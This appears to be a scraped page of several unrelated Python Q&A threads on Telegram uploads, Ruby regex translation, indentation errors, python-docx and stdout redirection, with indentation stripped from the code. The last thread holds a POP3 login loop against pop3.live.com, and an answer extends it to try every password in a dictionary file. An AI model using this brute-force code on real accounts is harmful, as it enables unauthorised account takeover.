using if else while declaring a variable - python

I'm writing a script to sent proxies file from a directory to telegram channel. With the help of some good folks I was able to complete it almost
from telegram import Bot, InputMediaDocument
BOT_TOKEN = "xxx"
CHAT_ID = xxx
def main():
bot = Bot(BOT_TOKEN)
file_paths = (
"proxy/proxies/http.txt",
"proxy/proxies/socks4.txt",
"proxy/proxies/socks5.txt"
)
path_http = "proxy/proxies/http.txt"
with open(path_http,'rb') as file_http:
http_count = len(file_http.readlines())
file_http.close()
path_socks4 = 'proxy/proxies/socks4.txt'
with open(path_socks4,'rb') as file_socks4:
socks4_count = len(file_socks4.readlines())
file_socks4.close()
path_socks5 = 'proxy/proxies/socks5.txt'
with open(path_socks5,'rb') as file_socks5:
socks5_count = len(file_socks5.readlines())
file_socks5.close()
text = f"Total HTTPs:{http_count}\nTotal SOCKS4:{socks4_count}\nTotal SOCKS5:{socks5_count}"
media_group = list()
for f in file_paths:
with open(f, "rb") as fin:
caption = text if f == "proxy/proxies/http.txt" else ''
fin.seek(0)
media_group.append(InputMediaDocument(fin, caption=caption))
bot.send_media_group(CHAT_ID, media=media_group)
if __name__ == "__main__":
main()
Issues occurred
media_group = list()
^
IndentationError: unindent does not match any outer indentation level
what I'm trying is to send those 3 proxy files with a caption to the first proxy file

There are a few issues with your code:
The lack of proper indentation
Improper closing of brackets
The SyntaxError that you're getting on the line path_http = 'proxy/proxies/http.txt' is because you didn't close the brackets from the previous line (the line where you initialised the variable file_paths).
I also foresee that you'll face issues when you try to open the file with the open function. You can look up some examples here: https://www.programiz.com/python-programming/file-operation

with the help of some good folks I make it work, If there are any easy versions fell free to share
from telegram import Bot, InputMediaDocument
BOT_TOKEN = "xxxxx"
CHAT_ID = -1000000
def http():
path_http = 'proxy/proxies/http.txt'
with open(path_http, 'rb') as file_http:
http_count = len(file_http.readlines())
return http_count
def socks4():
path_socks4 = 'proxy/proxies/socks4.txt'
with open(path_socks4, 'rb') as file_socks4:
socks4_count = len(file_socks4.readlines())
return socks4_count
def socks5():
path_socks5 = 'proxy/proxies/socks5.txt'
with open(path_socks5, 'rb') as file_socks5:
socks5_count = len(file_socks5.readlines())
return socks5_count
http_count = http()
socks4_count = socks4()
socks5_count = socks5()
text = f"Total HTTPs:{http_count}\nTotal SOCKS4:{socks4_count}\nTotal SOCKS5: {socks5_count}"
def main():
bot = Bot(BOT_TOKEN)
file_paths = (
"proxy/proxies/http.txt",
"proxy/proxies/socks4.txt",
"proxy/proxies/socks5.txt"
)
media_group = list()
for f in file_paths:
with open(f, "rb") as fin:
caption = text if f == "proxy/proxies/socks5.txt" else ''
fin.seek(0)
media_group.append(InputMediaDocument(fin, caption=caption))
bot.send_media_group(CHAT_ID, media=media_group)
if __name__ == "__main__":
main()

`file_paths = (
"proxy/proxies/http.txt",
"proxy/proxies/socks4.txt",
"proxy/proxies/socks5.txt"
`
invalid syntax error probably because ) doesn't exist in the end.
try adding (" ") caption = text if f == "proxy/proxies/http.txt" else '' because it is a string.

Related

Translating python raw string / regex to ruby

I'm currently trying to translate a python script to ruby. Now I'm stuck on a part that uses a raw string for a regex.
This is the original python code:
pat = re.compile(r'.{4}\xAA\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.{1}\x78\x9C')
match = pat.search(string)
(start_match, end_match) = match.span()
This is my attempt to translate it to ruby:
pat = Regexp.compile('.{4}\\xAA\\xEE\\xAA\\x76\\x1B\\xEC\\xBB\\x20\\xF1\\xE6\\x51.{1}\\x78\\x9C')
start_match, end_match = string.enum_for(:scan, pat).map { Regexp.last_match.begin(0) }
Unfortunately I must be doing it wrong because I get this error:
invalid multibyte escape: /.{4}\\xAA\\xEE\\xAA\\x76\\x1B\\xEC\\xBB\\x20\\xF1\\xE6\\x51.{1}\\x78\\x9C/ (RegexpError)
I also tried:
regex_String = <<'TEXT'
.{4}\xAA\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.{1}\x78\x9C
TEXT
pat = Regexp.compile(regex_String)
start_match, end_match = string.enum_for(:scan, pat).map { Regexp.last_match.begin(0) }
But it results in the same error.
To place it in context, here is the whole script:
# Commented lines are the original python code
# Uncommented lines are the translated ruby code
#import zlib
#import sys
#import re
#import binascii
require "zlib"
require "hex_string"
#if(len(sys.argv) < 2 or sys.argv[1] == "-h"):
# print "usage: python DecompNewDell.py <biosupdate.exe>"
# exit()
if ARGV.length < 1 or ARGV[0] == "-h"
puts "usage: ruby DecompNewDell.rb <biosupdate.exe>";
exit
end
#f = open(sys.argv[1], "rb")
#string = f.read()
f = File.open(ARGV[0], 'rb')
string = f.read
#pat = re.compile(r'.{4}\xAA\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.{1}\x78\x9C')
#match = pat.search(string)
#(start_match, end_match) = match.span()
pat = Regexp.compile('.{4}\\xAA\\xEE\\xAA\\x76\\x1B\\xEC\\xBB\\x20\\xF1\\xE6\\x51.{1}\\x78\\x9C')
start_match, end_match = string.enum_for(:scan, pat).map { Regexp.last_match.begin(0) }
#compessed_len = string[start_match:start_match+4]
compressed_len = string[start_match..start_match+4]
#compessed_len = binascii.b2a_hex(compessed_len[::-1])
compessed_len.reverse!
compessed_len = compessed_len.to_hex_string(false)
#compessed_len = long(compessed_len, 16)
compessed_len = compessed_len.to_i(16)
#read len bytes out of the file into the new string to decompress
#f.seek(start_match+16)
#string = f.read(compessed_len)
f.seek start_match+16
string = f.read compessed_len
#o = zlib.decompress(string)
o = Zlib::Inflate.inflate(string)
#f2 = open(sys.argv[1] + "_decompressed.hdr", "wb")
#f2.write(o)
#f.close()
#f2.close()
#print "Decompressed data written to %s_decompressed.hdr" % sys.argv[1]
f2 = File.open(ARGV[0] + "_decompressed.hdr", 'wb')
f2.write(o)
f.close()
f2.close()
puts "Decompressed data written to #{ARGV[0]}_decompressed.hdr"
This answer shows why the problem raised.
https://stackoverflow.com/a/47785810/12349985
And there has a solution for this situation.
https://techoverflow.net/2013/12/29/solving-invalid-multibyte-escape-xfexff-in-ruby-vpim/

Expected an indented block, python

Hello can someone fix it I tried to find solution online but nothing work.
Python Version: 3.7.9
if engine == "example1":
search = example1(engine)
request = partial(search.search_for, string)
all = p.map(request, pages)
elif engine == "example2":
filepath = "list.txt"
with open(filepath) as fp:
line = fp.readline()
count = 1
while line:
search = example2(engine)
request = partial(search.search_for, line.strip())
all = p.map(request, pages)
line = fp.readline()
count += 1
input(" press close to exit ")
It appears that the biggest issue is with lines immediately following your with statement. Those should be indented to be part of the context manager scope.
elif engine == "example2":
filepath = "list.txt"
with open(filepath) as fp:
line = fp.readline() # <--- note indent
count = 1 # <--- note indent
while line:
search = example2(engine)
request = partial(search.search_for, line.strip())
all = p.map(request, pages)
line = fp.readline()
count += 1
Here you have 2 intent mistakes.copy this code and try it
if engine == "example1":
search = example1(engine)
request = partial(search.search_for, string)
all = p.map(request, pages)
1. In elif there is one space before the line
elif engine == "example2":
filepath = "list.txt"
2.After the next line With open you need to leave 4 spaces
with open(filepath) as fp:
line = fp.readline()
count = 1
while line:
search = example2(engine)
request = partial(search.search_for, line.strip())
all = p.map(request, pages)
line = fp.readline()
count += 1
input(" press close to exit ")

Writing into table in Word doc using python docx

I'm trying to write into tables in a word template my company uses for statement of works,
I already have working code that takes our template file and saves it as a new filename in a different location. The filepath+filename is new_SOWdst_file_name.
This keeps crashing usually for a failure error about this being not writeable.
Pretty new to python. Any advice appreciated.
# doc = Document(new_SOWdst_file_name)
# f = open(new_SOWdst_file_name, 'r')
# doc = Document(f)
# if customType == ca :
# sys.exit()
# elif customType == sc :
# SOWNum = doc.tables[0].cell(4,2).text
# SOWAuthor = doc.tables[0].cell(6,2).text
# SOWDescriptor = doc.tables[0].cell(8,2).text
# SOWPartNum = doc.tables[0].cell(9,2).text
# SOWDate = doc.tables[0].cell(13,1).text
# SOWNum = 'SOW-'+ PartNum
# SOWAuthor = 'Cody Nelson'
# SOWDescriptor = Description
# SOWPartNum = PartNum
# SOWDate = now.strftime("%b %d, %Y")
# doc.save(f)
# f.close()
# doc.close()
# sys.exit()
# elif customType == cc :
# sys.exit()
Don't open the file before reading or writing it. python-docx takes care of all those details for you. All you need is:
document = Document(new_SOWdst_file_name)
# ... do your work with `document`
document.save("new-file-name.docx")
doc = Document(new_SOWdst_file_name)
doc.tables[0].cell(13,1).text = now.strftime("%b %d, %Y")
doc.tables[0].cell(9,2).text = PartNum
doc.tables[0].cell(8,2).text = Description
doc.tables[0].cell(6,2).text = 'Cody Nelson'
doc.tables[0].cell(4,2).text = 'SOW-'+ PartNum
doc.save(new_SOWdst_file_name)
Not sure why this works and the other doesn't.
But, it works.

Redirect stdout to a text file in Python?

I would like to redirect the print statements of my output to a text file. I have imported the sys and tried below.
import pprint
import os
import math
import sys
class ExportLimits(object):
MMAP_ITER_TRIPS = 'manpower_mappings.map_iterator_trips'
def __init__(self, workset, crew_type, bid_period, divisor_files=None):
log_file = "/opt/test/test_user/data/ESR_DATA/etab/slogfile.txt"
sys.stdout = open(log_file, 'w')
self.workset = workset
self.crew_type = crew_type
self.bid_period = bid_period
self.tm = workset.getTM()
self.crew_bid_period = self.crew_type + "+" + self.bid_period
self.bid_period = self.tm.table('qf_user_bid_period')[(self.crew_bid_period)]
self.period = Period(self.bid_period.bpstart, self.bid_period.bpend)
self.filter_matcher = self._get_filter_matcher()
self.iterator_trips = rave_api.eval(\
ExportLimits.MMAP_ITER_TRIPS)[0]
self.divisor_reader_lh = divisor_reader_lh.DivisorReader(\
divisor_files=divisor_files)
self.divisor_reader_sh = divisor_reader_sh.DivisorReader(\
divisor_files=divisor_files)
self.pp_start = self.period.getStart()
self.pp_end = self.period.getEnd()
def export_limits(self, item_type):
if item_type == 'DKSH':
self._mandays_limits(SLKHH_GROUPS)
else:
self._mandays_limits(LAJSDLH_GROUPS)
def _mandays_limits(self, groups):
crews = [self.tm.table('crew')[('99172447',)],
self.tm.table('crew')[('7654678',)]]
generator = ((crew, self.filter_matcher.getFilterNamePeriodsMap(crew.id))
for crew in self.tm.table('crew'))
minres = defaultdict(lambda :RelTime(0))
maxres = defaultdict(lambda :RelTime(0))
for crew, group_to_periods in generator:
print crew, group_to_periods
try:
crew_filter, period = group_to_periods.iteritems().next()
except StopIteration:
continue
if crew_filter not in groups:
continue
It works partially for me. I am able to print few of the lines, but not completely. Please find the below output of my log file where it has only printed fewer lines but not the complete logs.
For some reason, it hasn't printed completely. (Please see the last line of the log file where it printed only till "alia".)
Log File:
crew _id="133245" id="176543" empno="8761890" sex="M"
birthday="19681217" name="MICHEAL" forenames="LUCAS" maincat="C"
preferredname="ESWAR" initials="LL" joindate="20010910 00:00"
comjoindate="20010910 00:00"
_void="title,logname,si,bcity,bstate,bcountry,alias,comenddate" {'X-SYD-BB-AUSLLH': [26JUN2017 00:00-21AUG2017 00:00]}
crew _id="214141" id="132451" empno="145432" sex="M"
birthday="19630904" name="ESWARF" forenames="FJDJSK" maincat="C"
preferredname="ESWADF" initials="WL" joindate="20010910 00:00"
comjoindate="20010910 00:00"
_void="title,logname,si,bcity,bstate,bcountry,alia
~
~
Please check and advise.
Instead of using sys.stdout you can write like:
output_file = open(log_file, 'w')
output_file.write('testing asdasdfsd')
Or if you want to write all kinds of print value in log file then :
output_file = open(log_file, 'w')
sys.stdout = output_file
that's it.

Two arguments in one def?

First, here's my code:
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_('!##$%^')
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
I want have two argument in con definition, so it would be like con(pwd,cod) and M.pass_(cod), but it's doesn't work. How can I do this?
Assuming, the file "Str1k3r.txt" contains username and password in the first two lines, what you want to do is the following:
import poplib
def con(pwd, cod):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_(cod)
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
cod = lines[1].rstrip('\r\n')
con(pwd, cod)
EDIT:
Although that sounds like you're doing some kind of dictionary attack, but I'll assume, that you simply forgot your password ;)
So your bottom lines should look like this:
f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
dictfile = open("pass.txt", "r")
for password in dictfile:
con(pwd, password.rstrip('\r\n'))
am thinking about
that
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_(here how i can put four passwords ?)
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
am thinking put in M.pass_ like that M.pass_(123456 or 'abcdefj' or '=q-2oq2' )
but it's nor active as well i mean he try only 123456 no thing else

Categories